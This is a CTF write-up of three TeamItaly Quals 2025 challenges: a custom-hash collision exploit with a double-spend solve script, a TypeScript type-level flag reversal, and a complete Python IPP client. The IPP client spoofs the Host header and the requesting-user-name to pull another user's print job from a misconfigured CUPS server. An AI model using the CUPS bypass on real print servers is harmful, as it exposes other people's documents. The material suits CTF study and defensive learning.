Team Italy Qualifications CTF Writeups

index

The TeamItaly Quals 2025 served as this years election process for the members of Team Italy - a prestigious CTF team full of talented people representing their country at the ECSC. Their challenges were worthy of this title - with most challenges not exceeding 10 solves, with the CTF having over 500 people officialy registered. Let’s get into it!

crypto - sombrero (500 points, 3 solves)

We are given 1 file, and that is a file called sombrero.py.

The file is source code of an application which was simulating a blockchain-like system with basic transaction support. The initialization worked as follows :

1
flag = os.getenv("FLAG", "TeamItaly{REDACTED}")
2

3
MAX_USERS = 5
4

5
users = {}
6
transactions = {}

The users inside of the source code register by providing a user_id that is 120-127 bits long, where each user is initialized with a balance of 100 and an associated hash function instance :

1
def register():
2
    ...
3
    assert user_id not in users and 120 <= user_id.bit_length() <= 128
4
    user_h = Hash(user_id)
5
    users[user_id] = {"h": user_h, "balance": 100, "spent_transactions": []}

Users can send value to others or to the system itself using the to = 0 flag. The transaction is stored using a key derived from Hash.h(transaction_id)

1
def create_transaction():
2
    ...
3
    assert users[user_from]["balance"] >= value and value >= 0
4
    assert transaction_id.bit_length() >= 128
5

6
    users[user_from]["balance"] -= value
7
    transactions[users[user_from]['h'].h(transaction_id)] = {
8
        'from': user_from,
9
        'to': user_to,
10
        'value': value
11
    }

To spend a transaction, the user must provide a transaction ID that the system :

Looks up using h(transaction_id)
Checks that it has not been used before (the transaction id)
If to = 0 and value >= 1500 , prints out our dear flag

1
def spend_transaction():
2
    transaction = transactions[users[user_from]['h'].h(transaction_id)]
3
    assert transaction['from'] == user_from
4
    assert transaction_id not in users[user_from]["spent_transactions"]
5

6
    users[user_from]["spent_transactions"].append(transaction_id)
7

8
    if transaction["to"] == 0 and transaction["value"] >= 1500:
9
        print(flag)
10
    else:
11
        users[transaction["to"]]["balance"] += transaction["value"]

Custom hash implementation

The class Hash implements a non-standard and deterministic function which is influenced by:

An internal 128 bit init_state (the user ID)
A fixed bit permutation bit_perm seeded with 0x1337 (Wow, how original, yolo)
A state-mixing function F(a, b, bitsize) that combines permutation and XOR with constants derived from math.e

1
def F(self, a, b, bitsize):
2
    for r in range(bitsize):
3
        bit = (b >> r) & 1
4
        tmp = 0
5
        for i, bit_index in enumerate(self.bit_perm):
6
            new_bit = (a >> (bit_index ^ bit)) & 1
7
            tmp |= (new_bit << i)
8
        a = tmp ^ self.c
9
    return a

and the hash digest flow is as follows

1
tmp   = F((state << 64) + b, b,   64)
2
state = F((state << 64) + b, tmp, 192)
3
state = state ^ tmp
4
state = state >> 64

In the above hash digest flow we can see this interesting operation

1
state >> 64

This truncation ensures that only the upper 64 bits are retained after each block, which means that the entire hash output is truncated to 64 bits, even though the intermediate states are 192 bits wide. This introduces the risk of hash collisions where two distinct inputs produce the same final hash.

1
transactions[users[user_from]['h'].h(transaction_id)] = { ... }

Because each transaction is indexed by Hash.h(transaction_id), the underlying hash value is the actual key in the transactions dictionary. Especially here, in this transaction system, the system only checks whether the raw input integer was previously used and it does not consider whether another transaction_id that hashes to the same value has already been spent

TL;DR Two different transaction IDs txid1 and txid2 can produce the same Hash.h(txidX) output, and therefore access the same transaction record. But the check transaction_id not in spent_transactions only blocks reuse of the exact same ID, not other colliding ones.

This is the root of the collision potential:

1
state = state >> 64

Even though state after F() may be 128-192 bits wide it is only the upper 64 bits which are kept, therefore many different input blocks can result in the same final state, which makes the nature of this entire function inherently non-collision-resistant, as it cannot ensure unique digest outputs for distinct transaction IDs.

Using the flaw described above, we can :

Find two inputs such that :

1
Hash(user_id).h(txid1) == Hash(user_id).h(txid2)

Use txid1 to create and spend a transaction
Then spend txid2 - which is accepted by the system, all because it hashes to the same key in transactions, therefore it is valid, and it is also not inside of spend_transaction, so the check passes

Practice

Imagine this :

1
Hash(uid).h(0xAAA) == Hash(uid).h(0xBBB)

create_transaction(blabla, 0xAAA) stores the data at some key, k
spend_transaction(0xAAA) looks up k , processes the transaction, and marks 0xAAA as spent
spend_transaction(0xBBB) also looks up the same key, k , and it also finds the same data, and passes the entire check

Exploit

1
def find_base(x0, x1):
2
    return x0 >> 64, x0 & ((1<<64)-1), x1 & ((1<<64)-1)

1
def build_pairs(base, lo0, lo1, needed=8):
2
    H = CustomHash(base)
3
    b0 = lo0 << 128
4
    b1 = lo1 << 128
5
    pairs = []
6
    i = 0
7
    while len(pairs) < needed:
8
        if H.digest(b0 + i) == H.digest(b1 + i):
9
            pairs.append((b0 + i, b1 + i))
10
        i += 1
11
    return pairs

We start from two 128-bit user IDs (x0, x1) that share the same upper 64 bits
We construct two sets of transactions IDs

1
M0 = (lo0 << 128) + i, M1 = (lo1 << 128) + i

We find M0, M1 such that digest(M0) == digest(M1) due to truncatation Using collision pairs (a, b) where h(a) == h(b), we perform:

1
for a, b in coll_pairs:
2
    create(self.uid, self.balance, a)
3
    spend(a)
4
    spend(b)
5
    self.balance *= 2

As we already mentioned, the second spend, b, is accepted becasue the system only checks that the raw transaction_id has not been used - not whether the hash key was reused. a and b hash to the same value, so both map to the same transaction in the transactions dict This loop doubles the user balance with every iteration, reaching over 256000 from the initial 100 coins in 8 iterations.

Once the balance exceeds 1500, we execute:

1
tx_final = (1 << 128) + 0x1337
2
create(0, 1500, tx_final)
3
spend(tx_final, final=True)

This sends 1500 coins to to = 0, triggering:

1
if transaction["to"] == 0 and transaction["value"] >= 1500:
2
    print(flag)

… successfuly printing the flag.

Solve

1
import struct
2
import math
3
import random
4
from Crypto.Util.Padding import pad
5
from Crypto.Util.number import long_to_bytes
6
from pwn import remote
7

8
# zreplikovana ich vlastna custom hash implementacia ktora bola v hash.py
9
class CustomHash:
10
    def __init__(self, seed):
11
        self.state = seed
12
        self.BSZ = 8
13
        self.DSZ = 16
14
        self.CONST = int.from_bytes(struct.pack('<d', math.e) * ((self.DSZ + self.BSZ) // 8), 'big')
15
        random.seed(0x1337)
16
        self.perm = list(range(8 * (self.DSZ + self.BSZ)))
17
        random.shuffle(self.perm)
18

19
    def _round(self, A, B, width):
20
        X = A
21
        for r in range(width):
22
            bit = (B >> r) & 1
23
            tmp = 0
24
            for i, idx in enumerate(self.perm):
25
                tmp |= (((X >> (idx ^ bit)) & 1) << i)
26
            X = tmp ^ self.CONST
27
        return X
28

29
    def digest(self, m_int):
30
        data = long_to_bytes(m_int) if isinstance(m_int, int) else m_int
31
        data = pad(data, self.BSZ)
32
        S = self.state
33
        for off in range(0, len(data), self.BSZ):
34
            block = int.from_bytes(data[off:off+self.BSZ], 'big')
35
            t1 = self._round((S << (8*self.BSZ)) + block, block,        8*self.BSZ)
36
            t2 = self._round((S << (8*self.BSZ)) + block, t1,           8*(self.BSZ + self.DSZ))
37
            S  = ((t2 ^ t1) >> (8*self.BSZ))
38
        return S
39

40
def find_base(x0, x1):
41
    return x0 >> 64, x0 & ((1<<64)-1), x1 & ((1<<64)-1)
42

43
def build_pairs(base, lo0, lo1, needed=8):
44
    H = CustomHash(base)
45
    b0 = lo0 << 128
46
    b1 = lo1 << 128
47
    pairs = []
48
    i = 0
49
    while len(pairs) < needed:
50
        if H.digest(b0 + i) == H.digest(b1 + i):
51
            pairs.append((b0 + i, b1 + i))
52
        i += 1
53
    return pairs
54

55
class Client:
56
    def __init__(self, host, port, uid):
57
        self.r = remote(host, port)
58
        self.uid = uid
59
        self.balance = 100
60
        self.r.recvuntil(b'> ')
61

62
    def register(self):
63
        self.r.sendline(b'1')
64
        self.r.recvuntil(b'User id: ')
65
        self.r.sendline(str(self.uid).encode())
66
        self.r.recvuntil(b'> ')
67

68
    def create(self, to, amt, txid):
69
        self.r.sendline(b'2')
70
        self.r.recvuntil(b'From: ')
71
        self.r.sendline(str(self.uid).encode())
72
        self.r.recvuntil(b'To: ')
73
        self.r.sendline(str(to).encode())
74
        self.r.recvuntil(b'Value: ')
75
        self.r.sendline(str(amt).encode())
76
        self.r.recvuntil(b'Transaction id: ')
77
        self.r.sendline(str(txid).encode())
78
        self.r.recvuntil(b'> ')
79

80
    def spend(self, txid, final=False):
81
        self.r.sendline(b'3')
82
        self.r.recvuntil(b'From: ')
83
        self.r.sendline(str(self.uid).encode())
84
        self.r.recvuntil(b'Transaction id: ')
85
        self.r.sendline(str(txid).encode())
86
        if final:
87
            return self.r.recvline(timeout=5).decode().strip()
88
        else:
89
            self.r.recvuntil(b'> ')
90
            return None
91

92
    def exploit(self, coll_pairs):
93
        for a, b in coll_pairs:
94
            self.create(self.uid, self.balance, a)
95
            self.spend(a)
96
            self.spend(b)
97
            self.balance *= 2
98
        tx_final = (1 << 128) + 0x1337
99
        self.create(0, 1500, tx_final)
100
        flag = self.spend(tx_final, final=True)
101
        print("Flag:", flag)
102

103
if __name__ == '__main__':
104
    x0 = 4834255595133874435204552325720083095538520465749038972963
105
    x1 = 4834255595133874435204552325720083095538520465749038972939
106
    base, l0, l1 = find_base(x0, x1)
107
    pairs = build_pairs(base, l0, l1)
108

109
    c = Client('sombrero.challs.quals.teamitaly.eu', 38069, base)
110
    c.register()
111
    c.exploit(pairs)

Flag

TeamItaly{Infinite_money_glitch_ftw_868a388d2bdea91c}

rev - TsFuck (80 points, 35 solves)

We are given 1 file, and that is a file called TsFuck.ts. Upon initial analysis of the source code and the CTF assignment, we can easily derive that the flag is embedded statically within the source code. Proof of this is no service being provided on the website, along with the source code showing no signs of externally connecting anywhere. Our very first look at the source code shows one thing - the core concept behind this challenge is type-level computation.

Using type-level computation, the flag characters are encoded using number-based operations implemented entirely within TypeScript’s type system. Firstly, the numbers are represented as Peano numerals, a recursive form of encoding numbers:

1
interface Qz {
2
  ke?: any;
3
  nw: "true" | "false";
4
}
5

6
// 0
7
type Yh = { nw: "true" };
8

9
// Successors (1 to 9, etc.)
10
type Zb<T extends Qz> = { ke: T; nw: "false" };
11
type Bp = Zb<Yh>; // 1
12
type Df = Zb<Bp>; // 2
13
type Gt = Zb<Df>; // 3
14
// and so on

Reverse engineering TypeScript’s arithmetic on types

TypeScript’s recursive conditional types allow implementation of arithmetic operations, that we have seen in the source code.

Exponentation (Fx)

1
type Fx<T1 extends Qz, T2> = {
2
  true: T2;
3
  false: Zb<Fx<Lq<T1>, T2>>;
4
}[Wg<T1>];

The above code is the TypeScript type system equivalent of exponentation. What it does is :

If T1 == 0 (base case), return T2
Else, return Zb<Fx<Lq<T1>, T2 It’s effectively counting how many times to wrap Zb around T2 simulating multiplication.

Multiplication (Vn)

1
type Vn<T1 extends Qz, T2 extends Qz> = Kc<T1, T2, Yh>;
2
type Kc<T1, T2, TAcc extends Qz> = {
3
  true: TAcc;
4
  false: Kc<Lq<T1>, T2, Fx<TAcc, T2>>;
5
}[Wg<T1>];

Above code recursively accumulates T2 in the accumulator, which mimicks repeated addition == multiplication.

Modulo Expontentation (Xf)

1
type Xf<T2 extends Fd, T1 extends Fd> = Fx<Vn<Qp, Zr<T2>>, Zr<T1>>;

What this does is that :

Zr<T maps digit T to its type (e.g., Zr<3 → Gt
Qp = 10 so Vn<Qp Zr<T2 gives 10*T2
Fx<10*T2 Zr<T1 == exponentiation This calculates T1 ^ (10 * T2 at the type level.

Complex Operation : `Ona`

This type models a full expression:

1
type Ona<TB, TE, TA, TM> = {
2
  true: Bp;
3
  false: Lm<Fx<On<TB, TE, TM>, TA>, TM>;
4
}[Wg<TE>];

Translated, this evaluates to :

1
(TB^TE + TA) % TM

Where :

TB : base (flag value)
TE : exponent
TA : addend from previous stage
TM : modulo, always 97 This is precisely how each character in the flag is validated by computing a chained equation.

The last type is :

1
type It<TC extends "true"> = "true";
2
var output: It<Np<Uq<Ona<...>, Xf<0,0>, Xf<9,7>>>>;

This encodes a deeply nested chain of Ona computations, each one feeding into the next. The Np<Uq<sum_t1ng_h3re>> finally compares the result of all computations to Xf<9,7 - e.g 7^9 % 97 = 4

1
It<Np<Uq<Ona<...>, 4>>>;

Only if the result is exactly 4 does the whole type resolve to “true”, and thus pass type-checking.

The goal is to find 38 characters such that :

1
(flag[i] ^ exponent[i] + prev_result) % 97 == expected_result[i]

Which we reimplemented in python as :

1
x = pow((g - ta + 97) % 97, modinv(te, 96), 97)

Where :

g = result value
ta = previous result
te = exponent And finally, we converted the result to characters:

1
chr(x + 48)

This is precisely because each flag byte was stored as ASCII - 48 and this correctly reverts it.

Solve

1
import sys
2

3
def egcd(a, b):
4
    if a == 0:
5
        return (b, 0, 1)
6
    else:
7
        g, y, x = egcd(b % a, a)
8
        return (g, x - (b // a) * y, y)
9

10
def modinv(a, m):
11
    g, x, y = egcd(a, m)
12
    if g != 1:
13
        raise Exception('modular inverse does not exist')
14
    return x % m
15

16
def solve_modular_root(target, te, tm):
17
    if target == 0:
18
        return 0
19
    phi_tm = tm - 1
20
    inv_te = modinv(te, phi_tm)
21
    solution = pow(target, inv_te, tm)
22
    return solution
23

24
def solve_ctf_challenge():
25
    TM = 97
26
    equations_in_order = [
27
        (36, 13, 2), (7, 11, 19), (20, 13, 43), (10, 13, 33), (30, 13, 77),
28
        (2, 5, 74), (18, 19, 72), (35, 5, 1), (3, 11, 36), (9, 17, 14),
29
        (33, 11, 91), (11, 7, 53), (15, 17, 32), (22, 11, 51), (29, 5, 26),
30
        (13, 5, 12), (6, 13, 1), (19, 7, 65), (16, 7, 56), (23, 11, 89),
31
        (24, 19, 34), (0, 13, 70), (31, 13, 11), (28, 5, 61), (25, 11, 61),
32
        (37, 13, 80), (14, 7, 47), (1, 17, 79), (21, 7, 79), (32, 19, 55),
33
        (34, 7, 55), (4, 5, 11), (17, 13, 96), (26, 11, 35), (12, 5, 89),
34
        (5, 11, 31), (27, 19, 29), (8, 7, 72)
35
    ]
36
    solutions = {}
37
    ta = 0 # spomínaný addend
38

39
    for f_idx, te, g in equations_in_order:
40
        target = (g - ta + TM) % TM                     # Ona<TB, TE, TA, TM> reverse
41
        solved_val = solve_modular_root(target, te, TM) # Ona<TB, TE, TA, TM> reverse
42
        solutions[f_idx] = solved_val
43
        ta = g
44

45
    final_flag = ""
46
    for i in range(38):
47
        val = solutions.get(i)
48
        if val is None:
49
            final_flag += "?"
50
            continue
51
        char_code = val + 48
52
        # print(chr(char_code)) -> Uncomment if you want to see result of each byte after reversing
53
        final_flag += chr(char_code) # Add each solved byte to the final flag
54

55

56
    print(final_flag)
57

58

59
if __name__ == '__main__':
60
    solve_ctf_challenge()

Flag

TeamItaly{Wh4t_h4v3_y0u_d0n3_e27fc07e}

misc/rev - Save a Tree (1 solve, 500 points)

The goal is to retrieve a flag from a .pdf file exposed via IPP on a fake printer. We needed to find the username that owns the correct print job, use CUPS-specific CUPS-Get-Document operation to download the document and wrap IPP packets over HTTP in both directions.

Important (IPP/CUPS fundamentals)

IPP (Internet Printing Protocol) runs over HTTP(S) and uses binary packets.

Every IPP packet contains:

Version (2 bytes)
operation_id (2 bytes) — like 0x4002 = Get-Printer-Attributes, 0x4027 = CUPS-Get-Document
request_id (4 bytes)
Attribute groups (tags + data)
End of attributes (0x03)

CUPS-Get-Document returns the raw bytes of a document attached to a job.

Therefore we need to implement a minimal IPP client with some helper functions to encode attributes, as follows

1
def encode_attribute(tag, name, value):
2
    encoded = bytearray()
3
    encoded += tag
4
    encoded += len(name).to_bytes(2, 'big') + name
5
    encoded += len(value).to_bytes(2, 'big') + value
6
    return encoded

These helpers build the IPP attribute payload. build_ipp_request(operation_id, attributes) concatenates the header, attribute groups, and the terminating tag.

Crafting CUPS-Get-Document

1
def create_cups_get_document_request(printer_name, username, job_id, document_number):
2
    attributes = [
3
        encode_attribute(TAG_CHARSET, b'attributes-charset', b'utf-8'),
4
        encode_attribute(TAG_LANGUAGE, b'attributes-natural-language', b'en-us'),
5
        encode_attribute(TAG_URI, b'printer-uri', b'ipp://127.0.0.1/printers/' + printer_name.encode()),
6
        encode_attribute(TAG_INTEGER, b'job-id', job_id.to_bytes(4, 'big')),
7
        encode_attribute(TAG_INTEGER, b'document-number', document_number.to_bytes(4, 'big')),
8
        encode_attribute(TAG_NAME, b'requesting-user-name', username.encode()),
9
    ]
10
    return build_ipp_request(CUPS_GET_DOCUMENT, attributes)

The crucial attribute is printer-uri pointing at ipp://127.0.0.1/blabla , on the HTTP layer, spoof the Host header to look like an internal request.

Important (First Vulnerability)

Using Host: 127.0.0.1 makes the request appear local to the CUPS instance, enabling routes/permissions intended only for loopback.

1
response = requests.post(
2
    url,
3
    headers={
4
        "Host": "127.0.0.1",                       # key bypass
5
        "Content-Type": "application/ipp",
6
        "User-Agent": "CUPS/2.4.7 ...",
7
        "Expect": "100-continue",
8
    },
9
    data=data
10
)

Parsing the IPP response

parse_ipp_response() walks the binary stream, printing attributes until it hits 0x03 (end of attributes). Everything after that tag is the document payload, so our .pdf file.

1
extra_data = parse_ipp_response(response.content)
2
if extra_data:
3
    with open('out.pdf', 'wb') as f:
4
        f.write(extra_data)extra_data = parse_ipp_response(response.content)

Using Get-Jobs and Get-Job-Attributes, we enumerate jobs and discover the job is owned by remroot. More investigation shows that the CUPS server is misconfigured and does not validate the password, it trusts the value of the requesting-user-name attribute. Setting requesting-user-name=remroot is enough to authorize retrieval, yippe!.

Note (Auth flaw)

AuthZ was effectively “by header value”. CUPS accepted requesting-user-name at face value and skipped real credential checks.

1
import requests
2
import string
3

4
IPP_VERSION = b'\x02\x00'
5

6
# Operation IDs
7
GET_PRINTER_ATTRIBUTES = b'\x40\x02'
8
GET_JOBS = b'\x00\x0A'
9
GET_JOB_ATTRIBUTES = b'\x00\x09'
10
CUPS_GET_DOCUMENT = b'\x40\x27'
11

12
REQUEST_ID = b'\x00\x00\x00\x01'
13
ATTRIBUTES_TAG = b'\x01'
14
END_OF_ATTRIBUTES_TAG = b'\x03'
15

16
# Attribute Tags
17
TAG_INTEGER = b'\x21'
18
TAG_NAME = b'\x42'
19
TAG_KEYWORD = b'\x44'
20
TAG_URI = b'\x45'
21
TAG_CHARSET = b'\x47'
22
TAG_LANGUAGE = b'\x48'
23

24
ATTRIBUTES_CHARSET = b'attributes-charset'
25
ATTRIBUTES_LANGUAGE = b'attributes-natural-language'
26
REQUESTED_ATTRIBUTES = b'requested-attributes'
27

28
CHARSET_UTF8 = b'utf-8'
29
LANGUAGE_ENUS = b'en-us'
30

31
JOB_ATTRIBUTES = [
32
    b"job-id",
33
    b"job-k-octets",
34
    b"job-name",
35
    b"job-originating-user-name",
36
    b"job-printer-state-message",
37
    b"job-printer-uri",
38
    b"job-state-reasons",
39
    b"time-at-creation",
40
    b"time-at-completed",
41
]
42

43
def encode_attribute(tag, name, value):
44
    encoded = bytearray()
45
    encoded += tag
46
    encoded += len(name).to_bytes(2, 'big') + name
47
    encoded += len(value).to_bytes(2, 'big') + value
48
    return encoded
49

50
def encode_multiple_keywords(tag, name, values):
51
    encoded = bytearray()
52
    encoded += tag
53
    encoded += len(name).to_bytes(2, 'big') + name
54
    encoded += len(values[0]).to_bytes(2, 'big') + values[0]
55
    for val in values[1:]:
56
        encoded += tag
57
        encoded += b'\x00\x00'
58
        encoded += len(val).to_bytes(2, 'big') + val
59
    return encoded
60

61
def build_ipp_request(operation_id, attributes):
62
    req = bytearray()
63
    req += IPP_VERSION
64
    req += operation_id
65
    req += REQUEST_ID
66
    req += ATTRIBUTES_TAG
67

68
    for attr in attributes:
69
        req += attr
70

71
    req += END_OF_ATTRIBUTES_TAG
72
    return req
73

74
def create_get_printer_attributes_request():
75
    attributes = [
76
        encode_attribute(TAG_CHARSET, ATTRIBUTES_CHARSET, CHARSET_UTF8),
77
        encode_attribute(TAG_LANGUAGE, ATTRIBUTES_LANGUAGE, LANGUAGE_ENUS),
78
        encode_multiple_keywords(TAG_KEYWORD, REQUESTED_ATTRIBUTES, [
79
            b'printer-name',
80
            b'printer-type', b'printer-location', b'printer-info',
81
            b'printer-make-and-model', b'printer-state', b'printer-state-message',
82
            b'printer-state-reasons', b'printer-uri-supported', b'device-uri',
83
            b'printer-is-shared', b'printer-uuid', b'printer-resolution',
84
        ])
85
    ]
86
    return build_ipp_request(GET_PRINTER_ATTRIBUTES, attributes)
87

88
def create_get_jobs_request(username):
89
    attributes = [
90
        encode_attribute(TAG_CHARSET, ATTRIBUTES_CHARSET, CHARSET_UTF8),
91
        encode_attribute(TAG_LANGUAGE, ATTRIBUTES_LANGUAGE, LANGUAGE_ENUS),
92
        encode_attribute(TAG_URI, b'printer-uri', b'ipp://127.0.0.1/'),
93
        encode_multiple_keywords(TAG_KEYWORD, REQUESTED_ATTRIBUTES, JOB_ATTRIBUTES),
94
        encode_attribute(TAG_NAME, b'requesting-user-name', username.encode()),
95
    ]
96
    return build_ipp_request(GET_JOBS, attributes)
97

98
def create_get_jobs_attributes_request(job_id, username):
99
    attributes = [
100
        encode_attribute(TAG_CHARSET, ATTRIBUTES_CHARSET, CHARSET_UTF8),
101
        encode_attribute(TAG_LANGUAGE, ATTRIBUTES_LANGUAGE, LANGUAGE_ENUS),
102
        encode_attribute(TAG_URI, b'job-uri', f'ipp://127.0.0.1/jobs/{job_id}'.encode()),
103
        encode_attribute(TAG_NAME, b'requesting-user-name', username.encode()),
104
    ]
105
    return build_ipp_request(GET_JOB_ATTRIBUTES, attributes)
106

107
def create_cups_get_document_request(printer_name: str, username: str, job_id: int, document_number: int):
108
    attributes = [
109
        encode_attribute(TAG_CHARSET, ATTRIBUTES_CHARSET, CHARSET_UTF8),
110
        encode_attribute(TAG_LANGUAGE, ATTRIBUTES_LANGUAGE, LANGUAGE_ENUS),
111
        encode_attribute(TAG_URI, b'printer-uri', b'ipp://127.0.0.1/printers/' + printer_name.encode('utf-8')),
112
        encode_attribute(TAG_INTEGER, b'job-id', job_id.to_bytes(4, 'big')),
113
        encode_attribute(TAG_INTEGER, b'document-number', document_number.to_bytes(4, 'big')),
114
        encode_attribute(TAG_NAME, b'requesting-user-name', username.encode('utf-8')),
115
    ]
116
    return build_ipp_request(CUPS_GET_DOCUMENT, attributes)
117

118

119
def send_ipp_request(url, data):
120
    headers = {
121
        "Host": "127.0.0.1",
122
        "Content-Type": "application/ipp",
123
        "User-Agent": "CUPS/2.4.7 (Linux 6.8.0-58-generic; x86_64) IPP/2.0",
124
        "Expect": "100-continue"
125
    }
126
    response = requests.post(url, headers=headers, data=data)
127
    return response
128

129
def parse_ipp_response(data):
130
    idx = 0
131
    version = data[idx:idx+2]; idx += 2
132
    status_code = data[idx:idx+2]; idx += 2
133
    request_id = data[idx:idx+4]; idx += 4
134

135
    print(f"IPP Version: {version.hex()}, Status Code: {status_code.hex()}, Request ID: {int.from_bytes(request_id, 'big')}")
136

137
    current_tag = None
138
    while idx < len(data):
139
        tag = data[idx]; idx += 1
140

141
        if tag == 0x03:
142
            print("End of attributes")
143
            break
144
        elif tag in (0x01, 0x02, 0x04):
145
            current_tag = tag
146
            print(f"\nAttribute Group Tag: {hex(tag)}")
147
            continue
148

149
        name_length = int.from_bytes(data[idx:idx+2], 'big')
150
        idx += 2
151

152
        name = data[idx:idx+name_length].decode('utf-8') if name_length else ''
153
        idx += name_length
154

155
        value_length = int.from_bytes(data[idx:idx+2], 'big')
156
        idx += 2
157

158
        value = data[idx:idx+value_length]
159
        idx += value_length
160

161
        try:
162
            decoded_value = value.decode('utf-8')
163
            if all(c in string.printable for c in decoded_value):
164
                output = decoded_value
165
            else:
166
                output = value.hex()
167
        except UnicodeDecodeError:
168
            decoded_value = value.hex()
169

170
        name = name or '(cont.)'
171
        print("  ", name, ":", output)
172

173
    return data[idx:]
174

175
SERVER = "challenge01.it"
176
PORT = 38761
177

178

179
url = f"http://{SERVER}:{PORT}/"
180
username = 'remroot'
181

182

183
data = create_cups_get_document_request('Office_Printer', username, 1, 1)
184
response = send_ipp_request(url, data)
185

186
extra_data = parse_ipp_response(response.content)
187

188
if extra_data:
189
    with open('out.pdf', 'wb') as f:
190
        f.write(extra_data)

And opening the retrieved out.pdf gives us the flag

flag

Team Italy Qualifications CTF Writeups

crypto - sombrero (500 points, 3 solves)

Custom hash implementation

Practice

Exploit

Solve

Flag

rev - TsFuck (80 points, 35 solves)

Reverse engineering TypeScript’s arithmetic on types

Exponentation (Fx)

Multiplication (Vn)

Modulo Expontentation (Xf)

Complex Operation : Ona

Solve

Flag

misc/rev - Save a Tree (1 solve, 500 points)

Crafting CUPS-Get-Document

Parsing the IPP response

Complex Operation : `Ona`